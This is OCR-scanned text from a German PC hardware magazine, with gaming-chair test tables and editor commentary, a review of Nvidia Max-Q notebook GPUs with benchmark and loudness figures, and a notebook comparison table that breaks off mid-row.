(Lehne)/Hartschaum/PU-Kunstleder 


Hartplastik/Hartplastik/Stahlrohr mit Stahlstrebe und 
Spanplatte (Sitz) und Stahlrohr mit vier Elastikbändern 
(Lehne)/Hartschaum/Kunstleder (Sitzfläche vorn) und Stoff 


Maximalbelastung 


120 kg 


150 kg 


150 kg 


Weitere Extras 


Eigenschaften 
Zusammenbau 


Kopf- und Lendenkissen, stufenlose, per Hebel blockier- 
bare Wippmechanik (maximal 14° Neigungswinkel) mit 
einstellbarem Widerstand (Drehknopf), große Rollen (75 
mm Durchmesser) mit Bremsfunktion, 4D-Armlehnen 


Einfach 


Kopf- und Lendenkissen, stufenlose, nur in der Null-Grad- 
stelllung blockierbare Wippmechanik mit einstellbarem 
Widerstand (Drehknopf) 


Etwas zeitaufwendig (Lehnen müssen montiert werden) 


Kopf- und Lendenkissen; stufenlose, nur in der Null-Grad- 
stellung blockierbare Wippmechanik mit einstellbarem 
Widerstand (Drehknopf) 


Einfach 


Geeignet für Körpergröße 


Bis maximal 190 cm (Angabe Hersteller) 


Bis maximal 180 cm (keine Herstellerangabe) 


Bis maximal 180 cm (Angabe Hersteller: 170 bis 190 cm) 


Verarbeitung Fuß/Höhenverstellung/Sitzfläche/ 
Lehne 


Gut bis sehr gut/gut bis sehr gut/gut/gut 


Gut bis sehr gut/gut/gut/gut 


Gut/gut/gut/gut 


Anpassbare Rückenlehne (Winkel) 


Sehr gut (kann von 90° bis 160° verstellt werden) 


Gut (kann von 90° bis 140° verstellt werden) 


Sehr gut (kann von 90° bis 165° verstellt werden) 


Armlehnen verstellbar (Höhe/drehbar/vertikal/ 
horizontal) 


Ja (sechsstufig)/ja/ja/ja 


Ja (fünfstufig)/ja/nein/nein 


Ja (sechsstufig)/ja/nein/nein 


Sitzflächenhöhe verstellbar/Gasfeder für eine 
erhóhte oder verringerte Sitzhóhe erháltlich? 


Polsterhärte 


Ja, stufenlos per Druckluftheber (7,5 cm Hub)/nein 


Mittelhart (60 - 65 kg/m? [Herstellerangabe]; Polster gibt 
am vorderen Bereich dank Spanngurt mehr nach) 


Ja, stufenlos per Druckluftheber (6 cm Hub)/nein 


Weich (Die Polsterung hat eine geringe Dichte und liegt 
auf zwei Spanplatten und Metallstreben [Sitz]/auf dem 
Stahlrahmen mit zwei Elastikbándern [Lehne] auf) 


Ja, stufenlos per Druckluftheber (8 cm Hub)/nein 


Mittelhart (Der Polsterung hat eine mittlere Dichte und 
liegt auf zwei Spanplatten und einer Metallstrebe [Sitz]/ 
auf dem Stahlrahmen mit drei Elastikbándern [Lehne] auf) 


Ergonomie 


Standfestigkeit/Rolleigenschaften/alternative Rollen | Sehr gut/sehr leichtgängig/nein Gut/leichtgängig Gut/sehr leichtgängig 
erhältlich 
Sitzkomfort/Ergonomie/Anpassungsmöglichkeiten |Bequem/gut bis sehr gut/gut bis sehr gut Bequem/gut/gut Bequem/gut/gut 


Komfort Gamer-Haltung mit Mouse und Tastatur 


FAZIT 
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Sehr bequem (90-Grad-Stellung Lehne und optimale An- 
passung Armlehne, optionales Zusatzkissen für die Lende) 


© Sehr gute Standfestigkeit/Rollen mit Bremse 
© Verstellmöglichkeiten Armlehne 


© Sitzpolster nicht gleichmäßig hart/zu schmal 


Wertung: xxx x 


Bequem (90-Grad-Stellung Lehne und Hóhenverstellung 
Armlehne, Armlehne nicht verschieb- oder drehbar, optio- 
nales Zusatzkissen für die Lende) 


© Ordentliche Ausstattung bei günstigem Preis 
© Bequem bei der Gamer Haltung 
© Dichte Sitzpolster/Armlehne nur höhenverstellbar 


Wertung: KA % 7 


Bequem (90-Grad-Stellung Lehne und Höhenverstellung 
Armlehne, Armlehne nicht verschieb- oder drehbar, optio- 
nales Zusatzkissen für die Lende) 


© Dichte Sitzpolster/Bezüge aus Stoff 
© Bequem bei der Gamer-Haltung 
© Armlehne nur höhenverstellbar/Fußkreuz aus Plastik 


Wertung: Xx % 7 
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Was, keine LED-Beleuchtung?! 


Der , Gaming" -Markt treibt schon 
einige seltsame Blüten. Anschei- 
nend brauche ich zum Spielen 
dringend einen Rennsitz mit ausge- 
prágtem Seitenhalt, damit ich — na- 
türlich jetzt hart Gaming-beschleu- 
nigt — beim Zocken nicht aus der 
N Bahn fliege. Immerhin leuchten die 
Philipp Reuther Dinger nicht auch noch wie ein Pa- 
radewagen beim Christopher Street 
Day. Aber Spaß beiseite: Auf einigen Exemplaren sitzt man 
wirklich ganz gut. Mein Favorit ist ganz klar der Noblechairs 
con, sowohl was die Materialien und Qualitätsanmutung als 
auch den Komfort betrifft. Der ist auch tatsächlich bequemer als 
mein heimischer Billig-Stuhl und auch dem komfortablen, aber 
etwas schwammigen DX Racer Max Series überlegen, den ich 


in der Redaktion nutze. Die anderen Stühle sind mir entweder zu klein, zu weich und flauschig, sitzen 
wegen nutzloser Seitenwangen zu stramm und/oder stinken nach Plastik. 


,Gaming"? Geh doch fort! 


Nach Gaming-Mäusen, -Tastaturen 
und -Mainboards sind -Stühle 
der neueste Marketing-Trend und 
im Gegensatz zu den bedingt 
nützlichen oder , nur" nutzlosen 
Vorgängern gibt es diesmal 
klare Nachteile: Enge Rennsitze mit 
£ gutem Seitenhalt haben für ein paar 
Torsten Vogel Stunden im Sportwagen ihren Sinn. 
Aber lange PC-Sessions erfordern 
einen Stuhl, der verschiedene Sitzpositionen erlaubt und dabei 


die eigene Wirbelsáule optimal stützt. Zu betonen ist hierbei 

, eigen", denn viele Gaming-Stühle sind kaum verstellbar und 
im Gegensatz zu Rennsitzen auch nur in einer GróBe erháltlich. 
Für mich (1,90 m) war deswegen aus den letzten beiden 
Marktübersichten nur Maxnomics Commander SIII bequem (Lor- 
dosenstütze!). Diesmal bieten immerhin die meisten Kandidaten 


eine halbwegs gerade Rückenlehne, die auch gróBere Menschen nicht zum Buckeln zwingt. Eine 
entspannte Schulterhaltung scheitert dennoch oft an vorspringenden Fortsátzen und die einengenden 
Sitzwangen scheinen eher für mehrere G Querbeschleunigung, denn für (m)einen Schreibtisch 
gedacht zu sein. Einzig der Vertagear Triigger 275 ist, sieht man von auf der Sitzfláchen-Rahmenkon- 
struktion ab (Sitzgefühl , Eimer"), meiner Meinung nach gut für stundelange Maus- und Tastaturar- 
beit geeignet — und sieht dabei eher wie ein Büro- denn eine Gaming-Stuhl aus. Zufall? 


Seitenhalt wie im Schraubstock 


Zu weich und zu teuer 


Gaming-Chairs sehen schick und 
vor allem bequem aus — Bürostühle 
im Rennstuhlformfaktor quasi. Des- 
wegen war ich umso mehr über- 
rascht, dass es wirklich nur zwei 
Stühle geschafft haben, meinem 
Gesäß und Rücken zu schmei- 
OS Vu cheln — der Noblechairs Icon und 
Alexandros Bikoulis der Triigger 275. Beide kommen 
ohne Seitenhalt aus, was bei den 
geringen Geschwindigkeiten im Büro von Vorteil ist. Man würde 
sonst zu beengt sitzen und nur noch ein Anschnallgurt fehlt für 
ein ,immersives" Rennerlebnis. Zudem hatte der Noblechair 
eine angenehm konstante Sitzhárte. Bei anderen Stühlen wurde 
die Sitzfläche mit einem Härtegradienten unterteilt, sodass der 
Hintern absinkt, während die Beine aufliegen. Beide Stühle 
sind hochwertig verarbeitet und vor allem der Triigger hat eine 
Bandbreite an Einstellungsmöglichkeiten, was für die Sitzergo- 
nomie sehr wichtig ist. Müsste ich mich zwischen beiden aber 
entscheiden, wáre es der Noblechair geworden: 600 Euro für 
einen umgelabelten Bürostuhl ist einfach zu viel, wobei 370 
Euro auch happig sind. Gaming hin oder her. 


Der Seitenhalt dieser Rennsitze ist nicht nur sinnlos, sondern kann für Menschen mit Hüftbreite 

über 30 Zentimeter (also die meisten) auch schmerzhaft sein. Nicht nur Leute wie ich, also mit 

wohl proportioniertem Gesäß, sitzen auf so einem Stuhl mit diesen Schulterflossen wie in einem 
Schraubstock. Die Modelle von Sharkoon und LC-Power sind für mich daher ein No-Go — optisch 
sowieso. Beim Speedlink im gelben Spongebob-Style sind die Seitenflossen schrág genug, um die 

Hüfte nicht einzudrücken. Hier war der Sitzkomfort gar nicht mal schlecht. Der Noblechair ist auch 

mein Favorit, da die Optik nicht ganz so pseudo-rennsportlich wirkt und er zudem recht bequem ist. Die 


harte Sitzfläche finde ich perfekt, denn bei weichen schläft einem viel schneller das Gesäß ein. Mit dem 


Manuel Christa 
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Rückenkissen kann ich bei keinem Stuhl etwas anfangen. Das Nackenpolster hingegen gefällt mir. 
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INFRASTRUKTUR | Nvidia Max-Q im Vergleich 


Effizienzwunder? 


Mit Nvidia Max-Q ist eine Light-Version der Notebook-GPUs erschienen. Dabei soll es um Effizienz 


statt um Spitzenleistung gehen. Lohnt sich die Drosselung hinsichtlich des Lüfterlärms? 


ntweder dünn, leise und leicht 
E oder aber dick, laut und schwer. 
Die Notebook-Welt war lange zwei- 
geteilt in Modelle, die einerseits 
auf Mobilität oder andererseits auf 
Spieleleistung getrimmt sind. Die 
Eier legende Wollmilchsau gibt es 
eben noch nicht, da leistungsfähige 
Grafikchips unter Last noch immer 
ordentlich Verlustwärme produzie- 
ren. Auch in Notebooks, in denen 
chronischer Platzmangel herrscht, 
brauchen Sie eine dicke und laute 
Kühlung. Die GPUs werden zwar 
mit jeder Generation immer effi- 
zienter, weswegen leisere oder 
eben leistungsfähigere Gaming- 
Notebooks möglich werden. Vom 
unhörbaren Lüfter ist die Technik 
aber noch immer Jahre weit ent- 
fernt. Trotzdem gibt es vereinzelt 
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Kompromiss-Modelle, deren Volu- 
men und Gewicht einerseits mode- 
rat ausfallen und die andererseits 
über eine spieletaugliche Geforce- 
Grafik verfügen. 


VV J | ist Niax-Q : 

Damit Notebooks immer schlanker 
werden können - und gleichzeitig 
auch immer leistungsfähiger -, hat 
Nvidia zur diesjährigen Computex 
das sogenannte Max-Q-Design 
vorgestellt. Damit sind die Basis- 
und Boost-Taktraten der aktuellen 
Pascal-GPUs etwas niedriger und 
die Chips sollen weitaus effizien- 
ter laufen. Denn für die letzten 
zehn Prozent an Spitzenleistung 
wird relativ viel Strom gebraucht. 
Verzichtet man also auf die letzten 
Prozentpunkte, so Nvidia, würden 


bis zu 30 Prozent an Leistungsauf- 
nahme eingespart werden. Die 
Max-Q-Chips benötigen deswe- 
gen auch weniger Kühlleistung, 
was dann eben dünnere und auch 
leichtere Notebooks möglich wer- 
den lässt. Aber Moment mal! Ab- 
gespeckte Notebook-Grafikchips 
kennen wir doch bereits von Nvi- 
dias Vorgängergeneration Maxwell 
mit dem „M“-Zusatz im Namen. Der 
Notebook-Nerd von Welt hatte sich 
gefreut, als mit der Pascal-Architek- 
tur in den Notebooks nun endlich 
der gleiche Chip steckt wie auf 
Desktop-Grafikkarten. Ist Max-Q 
also wieder eine technische Rolle 
rückwärts zur altbekannten GPU- 
Beschneidung? Nein, denn eine 
GTX 980M beispielsweise verfügte 
nicht nur über niedrigere Taktra- 


ten als die Desktop-GPU GTX 980, 
sondern auch über weniger Shader. 
Die 980M war der 980 daher deut- 
lich unterlegen. Zugegeben, das ist 
die Max-Q-Variante gegenüber der 
regulären jetzt auch - doch damals 
war der Unterschied noch weitaus 
größer. 


Max-Q soll aber mehr als ein GPU- 
Downclock sein: Laut Nvidia seien 
die Treiber auf Effizienz anstatt auf 
Hóchstleistung optimiert - zum 
Beispiel erreichbar über das Po- 
werlimit. Weitere Vorgaben von 
Nvidia sind optimierte Spannungs- 
wandler für den 1-Volt-Betrieb 
und eine Lautstárkegrenze von 40 
Dezibel für die Lüfter, was treiber- 
seitig kontrolliert werden soll. Ein 
Binning, also eine Chip-Auslese be- 
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Max-Q-GPUSs im Vergleich mit den regulàren Varianten 


Geforce 
GTX 1080 


Geforce 
GTX 1080 Max-Q 


Geforce 
GTX 1070 


Geforce 
GTX 1070 Max-Q 


Geforce 
GTX 1060 


Geforce 


GTX 1060 Max- 


Q 


\ / t E p 

GPU-Name GP104 GP104 GP104 GP104 GP106 GP106 
GPU-Variante GP104-400-A1 N17E-G3-A1 GP104-200-A1 N17E-G2-A1 GP106-400-A1 N17E-G1-A1 
Shader-ALUs 2.560 2.560 1.920 2.048 1.280 1.280 
Kerntakt (Boost)* 1.607 MHz 1.290 MHz 1.506 MHz 1.215 MHz 1.506 MHz 1.290 MHz 

(1.733 MHz) (1.468 MHz) (1.683 MHz) (1.379 MHz) (1.709 MHz) (1.468 MHz) 
Effektiver Speichertakt* 5.006 MHz 5.006 MHz 4.007 MHz 4.007 MHz 4.007 MHz 4.007 MHz 
Max. Speicherkapazität 8.192 MiB 8.192 MiB 8.192 MiB 8.192 MiB 6.144 MiB 6.144 MiB 
Speicherschnittstelle 256 Bit 256 Bit 256 Bit 256 Bit 192 Bit 192 Bit 
Speichertyp GDDR5X GDDR5X GDDR5 GDDR5 GDDR5 GDDR5 
Rechenleistung Single Precision 8.873 GFLOPS 7.516 GFLOPS 6.463 GFLOPS 5.648 GFLOPS 4.375 GFLOPS 3.789 GFLOPS 
*variiert je nach Notebook 


sonders effizienter Exemplare, wer- 
de nicht betrieben. Nvidia hat das 
mittlerweile dementiert, nachdem 
anfánglich einige Medien dahinge- 
hend spekulierten, um den Preis- 
aufschlag zu erkláren. 


Eine Max-Q-GTX-1080 soll nur ma- 
ximal 90 bis 110 Watt an Leistung 
aufnehmen, wáhrend sich die re- 
guläre Variante bis zu 150 Watt 
genehmigt. Die abgespeckte Max- 
Q-Variante soll es mit den drei leis- 
tungsfähigsten ` Nvidia-Notebook- 
GPUs geben - Geforce GTX 1060, 
GTX 1070 und GTX 1080. Der ak- 
tuell stárkste GP102-Chip ist den 
Desktop-Grafikkarten vorbehalten, 
also der GTX 1080 Ti, Titan X (Pas- 
cal) und Titan Xp. Notebook-Vari- 
anten wird es davon nicht geben. 


Aufserdem steht es den Notebook- 
Herstellern frei, die Max-Q-GPU 
außerhalb der Effizienzvorgaben 
von Nvidia zu betreiben, also die 
Leistung in einem alternativen Mo- 
dus wieder aufzubohren, was das 
Notebook dann auch lauter macht. 
Standardmäßig bzw. mit Ausliefe- 
rung muss jedoch stets das Max-Q- 
Design aktiv sein. 


Während Max-Q das Notebook 
mittels Hardware-Tuning 
machen soll, ist der sogenannte 


leiser 
Whispermode eine softwareseitige 


Maßnahme der Lärmreduzierung. 
Per Geforce-Experience sollen laut 
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Nvidia bereits für über 400 Spiele 
Profile bereitstehen, die mittels re- 
duzierter Grafikqualität oder limi- 
tierter Framerate die GPU weniger 
belasten sollen. Gleichzeitig sei ein 
noch immer flüssiges Spielerlebnis 
möglich. Overwatch wird dadurch 
etwa auf 60 Fps oder The Witcher 
3 auf 40 Fps begrenzt. Der Flüster- 
modus soll nicht nur für Max-Q-, 
sondern für alle Pascal-Grafikchips 
verfügbar sein. Übrigens schließt 
er G-Sync nicht aus, genauso wenig 
wie Max-Q. 


Das Asus ROG Zephyrus GX501 
preschte als erstes 15,6-Zoll-Note- 
book mit einer Max-Q-GPU hervor. 
Mit nur 18 Millimeter ist es zweifel- 
los das dünnste Notebook mit der 
Geforce GTX 1080 und mit circa 
2,3 kg auch das leichteste, jedoch 
mit den eben beschriebenen Li- 
mitierungen von Max-Q. In solch 
dünnen und leichten Notebooks 
steckte bislang bestenfalls eine 
GTX 1060 - mehr war wegen der 
proportional höheren Verlustleis- 
tung der kräftigeren GPUs nicht 
möglich. Notebooks mit regulärer 
GTX 1080 sind allesamt klobige 
17-Zöller und um die 4 kg schwer, 
bestenfalls einige Hundert Gramm 
darunter. Ohne Rücksicht auf Lüf- 
terlärm schaffen es aber manche 
davon, den Boost Takt auf ca. 1,9 
GHz zu halten, während der Chip 
nur bis 1.753 MHz spezifiziert ist. 
Das von uns im Frühjahr getestete 


MSI-Notebook liefert daher auch 
Frameraten, die deutlich die der 
Desktop-GPU im Referenzdesign 
überragen. Im Max-Q-Design be- 
trágt der Takt maximal 1.468 MHz, 
so auch die GPU des Asus Zephyrus 
im Test. Das ist eine Drosselung um 
15 Prozent schon allein gegenüber 
dem Referenz-Boost. Verglichen 


also mit Modellen wie dem MSI- 
Koloss fällt der Takt- und auch Leis- 
tungsunterschied größer aus. Was 
die Frameraten unserer erhobenen 
Stichproben angeht, so ist die Lü- 
cke zwischen Max-Q- und regulä- 
rem Design noch größer. Im GPU- 
lastigen Ethan Carter Redux schafft 
die GTX 1080 Max-Q im Asus ROG 


PEAK PERFORMANCE 15 NOT PEAK EFFICIENCY 


nn Small 
Gain 
More Power 


Was Nvidia hier marketingwirksam als „Small Gain" bezeichnet, ist etwa bei einer 
GTX 1080 eine Takt-Drosselung um mindestens 15 Prozent. 


Game Settings 


WHISPERMDDE 


Game Tuned Frame Rates 


Mit einem Flüstermodus in der , Geforce Experience" sollen Spiele herunterge- 
schraubt werden, damit der (Pascal-)GPU-Kühler weniger lármt. 
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Bild: Nvidia 
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Asus Zephyrus wird mit aufgeklapptem 
Display zur Lüftung etwas geöffnet. 


Lautheit im Desktop- und Spielbetrieb 


45 
40 ш2р 
EY 
35 
3⁄0 
25 
22 


o 
Un 

o 

Un 


Lautheit (Sone) 
ШЕШ ШЕ ш 
NA 


[NEM ` AW 
GTX 1080 GTX 1080 GTX 1060 GTX 1060 
(MSI) Max-Q (Asus) (Gigabyte) Max Q (HP) 


System: Die Lautheit ermitteln wir standardmäßig aus einem halben Meter Entfernung. Bemerkung: Max- 
Q-Notebooks sind deutlich leiser unter Last als die gleichen GPUs im regulären Design, auch wenn sie hier die 
Nvidia-Vorgabe von 40 Dezibel (= 1 Sone) noch immer deutlich übertreffen. 


Auf die Frameraten kommt es an 


The Witcher 3 , Boat Trip" — FHD, Ultra, kein Hairworks 


MSI GT73VR 7RF Titan Pro (GTX 1080) Eis! H 120,4 (+10 96) 
Geforce GTX 1080 (Desktop-Referenz) =a 109,1 (Basis) 
Asus ROG Zeph. GX501 (GTX 1080 Max-Q) Eg 105,3 (-3 96) 


Geforce GTX 1060 (Desktop-Referenz) E58! 61,2 (Basis) 
Gigabyte Aero 14 (GTX 1060) Xs? 60,6 (-1 96) 
HP Omen 15-ce002ng (GTX 1060 Max-Q) Xa 56,4 (-8 96) 
Ethan Carter Redux , Tracks" – ЕН” & 150 %, hoch, TAA 


MSI GT73VR 7RF Titan Pro (GTX 1080) gri 98,5 (-10 96) 
Geforce GTX 1080 (Desktop-Referenz) s7!sl 94,4 (Basis) 
Asus ROG Zeph. GX501 (GTX 1080 Max-Q) Edi Fx 80,4 (-26 96) 


Geforce GTX 1060 (Desktop-Referenz) XXn 53,2 (Basis) 
Gigabyte Aero 14 (GTX 1060) Ea 48, (-21 96) 
HP Omen 15-ce002ng (GTX 1060 Max-Q) Eu 44 (-28 96) 


Bemerkungen: Eine GTX 1080 Max-Q ist in der Leistung näher an der GTX 1070 
als an der reguláren GTX 1080. Bei der GTX 1060 ist der Unterschied geringer. 


Mimil @ Fps 


> Besser 
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Zephyrus ein Viertel weniger Fps 
als die Referenzversion der GTX 
1080. Damit liegt sie näher am Ni- 
veau einer GTX 1070, mit der wir in 
Notebooks nur etwa fünf bis zehn 
Prozent weniger Frames messen. In 
The Witcher 3 ist der Abstand nicht 
ganz so klein, es sind mindestens 
10 Prozent nach unten zur GTX 
1070, aber noch immer 17 Prozent 
nach oben hin zur regulären GTX 
1080. Je nachdem welches Spiel 
oder welchen Grafikbenchmark 
man ansetzt, schwankt die Position 
der GTX 1080 Max-Q zwischen den 
beiden regulären Modellen. Im In- 
ternet sind Ergebnisse zu finden, 
in denen eine gut gekühlte Desk- 
top-Grafikkarte einer GTX 1070 
die 1080 im Max-Q-Design knapp 
überholt. 


Weniger für mehr 

Mit 3.000 Euro übertrumpft das 
Asus ROG Zephyrus die Preisan- 
sage vieler anderer Modelle mit 
einer regulären GTX 1080. Diese 
sind schon ab gut 2.700 Euro zu 
haben. Ein Preis-Leistungs-Knüller 
ist Max-Q damit nicht gerade. Das 
kompakte Format und das relativ 
geringe Gewicht sind also mit ei- 
nem heftigen Aufpreis versehen. 
Das Notebook hat aber noch mehr 
zu bieten als eine teure, spieletaug- 
liche GPU: Beim 15,6-Zoll-Display 
handelt es sich um ein IPS-Panel, 
das über eine Bildwiederholrate 
von 120 Hz verfügt und die dyna- 
mische Bildsynchronisierung mit 
G-Sync unterstützt. Da G-Sync-Pa- 
nels direkt an die GPU angebunden 
werden, funktioniert Optimus, also 
das Abschalten der Nvidia-GPU im 
Leerlauf, übrigens nicht. Das inte- 
ressanteste Merkmal, das auch eine 
echte Neuheit ist, dürfte das Kühl- 
konzept des Gehäuses sein. Wird 
der Deckel aufgeklappt, hebt sich 
die Abdeckung an der Unterseite 
um etwa sechs Millimeter, sodass 
hinten sowie an den Seiten offene 
Spalten entstehen. Damit können 
die beiden Lüfter besser Luft an- 
saugen, die sie über Öffnungen 
hinten wieder herausblasen. Unge- 
wöhnlich ist auch die Position der 
Tastatur, die sich nämlich unten be- 
findet, wo Handballenauflagen und 
Touchpad üblicherweise sind. Letz- 
teres ist hier einfach nach rechts 
gewandert. 


Lediglich der Akku ist mit 48 Watt- 
stunden deutlich unterdimensio- 


niert. Gerade wenn so ein leichtes, 
kompaktes Notebook auf Mobilität 
setzt, wäre hier eine höhere Kapa- 
zität angebracht. Dass das auch in 
diesen Dimensionen kein Wider- 
spruch sein muss, beweist etwa 
ein Gigabyte Aero 14, das gute 94 
Wattstunden bietet. Einen ausführ- 
lichen Test des Asus ROG Zephyrus 
GX501 haben wir auf unserer Web- 
site veröffentlicht. 


Maximal 40 Dezibel? 

Wie schon erwähnt, möchte Nvidia 
die Geräuschkulisse auf maximal 
40 Dezibel begrenzen. Wir mes- 
sen die Lautheit standardmäßig in 
einem halben Meter Entfernung. 
Unter voller Last erreicht das Ze- 
phyrus eine Lautheit von bis zu 
2,7 Sone bzw. 54 Dezibel und liegt 
damit 
über der Nvidia-Vorgabe. Dennoch 
ist das für ein Gaming-Notebook 
mit einer Geforce GTX 1080 ein 
unschlagbar niedriger Wert, den 
ungedrosselte Modelle bisher nie 
erreichten. Die reguläre GTX 1080 
im MSI GT73VR 7RF Titan Pro 
wird im selben Szenario 4,2 Sone 
laut. Auf diesem Niveau kommt 
der Spielesound kaum noch gegen 
den Lüfterlärm an, sodass hier fast 
schon ein Headset benötigt wird. 
Notebooks mit der regulären GTX 
1070 jedoch schaffen es, diese Laut- 
heit bei nur geringfügig weniger 
Leistung zu unterbieten. So haben 
wir bei einem Predator 17 G9-793 
772H in der Marktübersicht im 
Heft 04/2017 lediglich 1,9 Sone 
festgestellt. Jedoch handelt es sich 
hier um einen schweren und di- 
cken 17-Zöller mit zusätzlichem 
Lüfter im Wechsellaufwerk-Slot. Im 
Desktop-Betrieb bleiben die Lüfter 
des Zephyrus zwar nicht immer 
passiv stehen wie bei so manchem 
Ultrabook, mit gemessenen 0,1 
Sone sind sie aber nur im ruhigen 
Raum wahrnehmbar. Der 17-Zöller 
von MSI mit der herkömmlichen 
GTX 1080 ist hier mit 0,5 Sone hör- 
bar lauter. 


in unserem Testszenario 


GTX 1070 Max-Q: 

Mehr Shader 

Bis zum Redaktionsschluss Ende 
Juli war leider kein Notebook mit 
einer Geforce GTX 1070 Max-Q 
verfügbar. Wir kónnen daher bis- 
lang nur einen Blick auf die Refe- 
renzangaben der GPU werfen und 
unbestátigte, geleakte Benchmark- 
Werte nennen. Während bei der 
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Geforce GTX 1080 lediglich der 
Takt heruntergeschraubt wurde 
und alle anderen Eigenschaften 
identisch sind, weist die GTX 1070 
im Max-Q-Design einen weiteren 
Unterschied auf: Hier ist nicht nur 
der Boost-Takt niedriger, die ge- 
drosselte GPU verfügt sogar über 
einige Shader mehr als die regulä- 
re GTX 1070. Bei der Max-Q-1070 
sind es 2.048 statt 1.920. Das ist 
zwar nicht die Welt, dafür ist die 
Rechenleistung in der Gleitkom- 
maberechnung „nur“ 13 Prozent 
niedriger bei einer Taktdrosselung 
um 18 Prozent. Nach unten hin zur 
GTX 1060 ist es noch ein deutliches 
Stück hin, nämlich gut 20 Prozent. 
Die Kollegen von Notebookcheck 
haben von Herstellern vorab 3D- 
Mark-Ergebnisse bekommen. Nach 
dem Performance-Score liegt die 
Leistung der Max-Q-Version einer 
1070 nur zwischen fünf und zehn 
Prozent unter der einer regulären 
GTX 1070. Der Benchmark ist aus 
verschiedenen Gründen aber mit 
Vorsicht zu genießen: Zum einen 
handelt es sich nicht um den rei- 


nen Grafik-Score, er bildet also die 
3D-Leistung des Gesamtsystems ab 
- und nicht nur die der GPU. Zum 
anderen ist nichts weiter über das 
gemessene System bekannt. Die 
Leistungseinbußen bei der GTX 
1070 durch Max-Q sind also nicht 
so groß wie bei der GTX 1080. Je- 
doch ist die Effizienz hier für eine 
finale Bewertung entscheidend. 
Diese können wir erst nach einer 
Lautheit-Messung vornehmen. Für 
Interpretationen ist es daher noch 
zu früh. 


Wozu eine GTX 1060 im 
Max-Q-Design? 

Bei einer 1080 hat Max-Q den 
Zweck, das Notebook dünner und 
leichter zu machen, wie beim Asus 
ROG Zephyrus auch geschehen. 
Mit einer regulären GTX 1060 gibt 
es aber bereits Notebooks, die so- 
wohl spieletauglich als auch relativ 
kompakt und leicht sind. Das hat 
unlängst Gigabyte mit seinen Aero- 
Modellen bewiesen. Wir hatten 
davon den 14-Zöller im Test, der 
sich als guten Kompromiss aus Ar- 


beits- und Spiele-Hybrid erwiesen 
hat. Die Frage ist also berechtigt, 
was eine weitere GPU zwischen ei- 
ner GTX 1060 und einer GTX 1050 
Ti denn soll. Letztlich werden die 
Notebooks damit nicht dünner - 
die Max-Q-Version der GTX 1060 
muss sich also über den Preis defi- 
nieren. 


In der reinen Gleitkommaleistung 
liegt der Unterschied bei ca. 14 Pro- 
zent. In der Framerate ist dieser ge- 
ringer: Wir messen zwischen dem 
ersten Notebook mit einer GTX 
1060 im Max-Q-Design, einem HP 
Omen 15, und dem Gigabyte Aero 
14 mit regulärer GTX 1060 nur Un- 
terschiede zwischen sieben und 
neun Prozent. Unter Volllast ist das 
HP Omen aber umso leiser: Mit 2,2 
Sone messen wir fast 1 Sone weni- 
ger als beim Gigabyte Aero 14 und 
auch Aero 15, die ca. 3 Sone laut 
sind. Nun ist das Gehäuse des HP 
Omen aber etwas voluminöser und 
mit 2,6 kg auch deutlich schwerer 
als die beiden Aeros (1,9 kg bei 14 
Zoll, 2,1 kg bei 15,6 Zoll). Die Laut- 


heit des HP Omen liegt damit wie- 
der deutlich über den von Nvidia 
geforderten 40 Dezibel. Zudem ha- 
ben wir bereits Notebooks getestet, 
die mit gleicher oder leistungsfähi- 
gerer GPU leiser sind, wenn auch 
wesentlich dicker. Preislich ist das 
HP Omen auch nicht interessant: 
Notebooks mit einer herkömmli- 
chen GTX 1060 gibt es bereits ab 
circa 1.250 Euro, wenn auch nicht 
unbedingt mit dem IPS-Panel inklu- 
sive G-Sync bis 120 Hz, der NVMe- 
SSD oder den 16 GiByte RAM wie 
beim HP Omen 15. (mc) 


Fazit Нагйшаге 


Weniger für mehr 

Die ersten beiden Modelle zeigen, dass 
die abgespeckten Max-Q-GPUSs zwar in 
hochwertigen, aber recht teuren Note- 
books stecken. Nicht immer ist das 
kompakte, leichte Format den Aufpreis 
wert, der zudem mit weniger Leistung 
einhergeht. Wer mit Max-Q liebäugelt, 
sollte Modelle mit nächstniedrigerer 
GPU vergleichen. 


GAMING- 
NOTEBOOKS 


Auszug aus Testtabelle 
mit 34 Wertungskriterien 


Produkt GT73VR 7RF Titan Pro 
Hersteller MSI 


Preis/Preis-Leistungs-Verhältnis Ca. 3.500 Euro/ausreichend 


PCGH-Preisvergleich www.pcgh.de/preis/1558334 


ROG Zephyrus GX501 
Asus 

Ca. 3.000 €/mangelhaft 
www.pcgh.de/preis/1646106 


Aero 14 


Omen 15-ce002ng 
Gigabyte HP 


Ca. 2.000 Euro/befriedigend 
www.pcgh.de/preis/1558826 


Ca. 1.670 €/ausreichend 
www.pcgh.de/preis/1654675 


Ausstattung (20 %) 1,52 1,43 2,05 175 

Prozessor Intel Core i7-7820HK, 4 x 2,9 GHz Intel Core i7-7700HQ, 4x 2,80 GHz Intel Core i7-7700HQ, 4 x 2,8 GHz Intel Core i7-7700HQ, 4x 2,80 GHz 
Grafikkarte Nvidia Geforce GTX 1080, 8 GB Nvidia Geforce GTX 1080 Max-Q, 8 GB Nvidia Geforce GTX 1060, 6 GB Nvidia Geforce GTX 1060 Max-Q, 6 GB 
Hauptspeicher 32 GiByte DDRA-2400 24 GiByte DDR4-2400 16 GiByte DDR4-2400 16 GiByte DDR4-2400 


Interner Speicher (HDD/SSD) 1 TB HDD/2 x 256 GB PCle-SSD (M.2, -/1024 GiB, M.2 PCle 3.0 x4 (Samsung -/256 GB PCle-SSD (M.2) 1 TiByte, 2,5 Zoll/256 GiB, M.2 PCle 3.0 x4 


USB 3.1 (Typ C), VGA, RJ-45,Kopfhörer, 
Mikrofon, Line-in, SD-Reader, Line-out (7.1 
analog, S/PDIF), 2.1 Dynaudio (Nahimic 
Audio Enhancer) 


Thunderbolt 3, 1x HDMI, 1x miniDP 1x 
Kensington Lock, 1x Kopfhórer & Mikrofon 
kombiniert (3,5 mm Klinke), -, HD 


1 x USB 3.1 (Typ C), Line Out, Mikrofon, 
SD-Reader 


RAID 0), SM961) (Samsung PM961) 

Display 17,3 Zoll, 1.920 x 1.080,TN, 120 Hz, 15,6 Zoll, 1.920 x 1.080, IPS, 120 Hz, 14 Zoll, 2.560 x 1.440, IPS, 60 Hz 15,6 Zoll, 1.920 x 1.080, IPS, 120 Hz, 
G-Sync, IPS G-Sync (AUO42ED) G-Sync (AUO42ED) 

Anschlüsse 1 x mDP, 1 x HDMI, 5 x USB 3.0, 1 x 4x USB 3.0, 1x USB 3.1 Gen2, 1x 1 x Displayport, 1 х HDMI, 3 x USB 3.0, |3х USB 3.0, 1x Thunderbolt 3, 1x HDMI, 


